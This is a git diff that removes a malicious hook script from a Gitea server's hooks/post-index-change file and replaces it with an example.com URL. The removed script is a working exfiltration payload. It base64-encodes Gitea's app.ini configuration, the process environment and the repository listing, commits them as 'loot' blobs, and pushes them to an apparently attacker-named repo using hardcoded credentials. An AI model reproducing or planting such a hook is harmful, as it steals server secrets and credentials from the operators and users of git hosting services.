diff --git a/hooks/post-index-change b/hooks/post-index-change index 2b42dc3..ddee11b 100755 --- a/hooks/post-index-change +++ b/hooks/post-index-change @@ -1,12 +1 @@ -#!/bin/sh -sleep 1 -A=$(base64 -w0 /data/gitea/conf/app.ini 2>/dev/null || base64 /etc/gitea/app.ini 2>/dev/null) -E=$(cat /proc/self/environ 2>/dev/null | tr '\0' '\n' | base64 -w0 2>/dev/null) -D=$(ls /data/git/repositories 2>/dev/null | base64 -w0 2>/dev/null) -B1=$(printf '%s' "$A" | git hash-object -w --stdin 2>/dev/null) -B2=$(printf '%s' "$E" | git hash-object -w --stdin 2>/dev/null) -B3=$(printf '%s' "$D" | git hash-object -w --stdin 2>/dev/null) -T=$(printf '100644 blob %s\tloot_appini\n100644 blob %s\tloot_env\n100644 blob %s\tloot_repos\n' "$B1" "$B2" "$B3" | git mktree 2>/dev/null) -C=$(git commit-tree $T -m loot 2>/dev/null) -git push -q "http://rcegyahkn:P0c!zb1qr4ogaZ@127.0.0.1:3000/rcegyahkn/rce-rev9fz.git" "$C:refs/heads/loot" >/dev/null 2>&1 || git push -q "http://rcegyahkn:P0c!zb1qr4ogaZ@127.0.0.1:3000/rcegyahkn/rce-rev9fz.git" "$C:refs/heads/loot" >/dev/null 2>&1 -sleep 2 +http://www.example.com \ No newline at end of file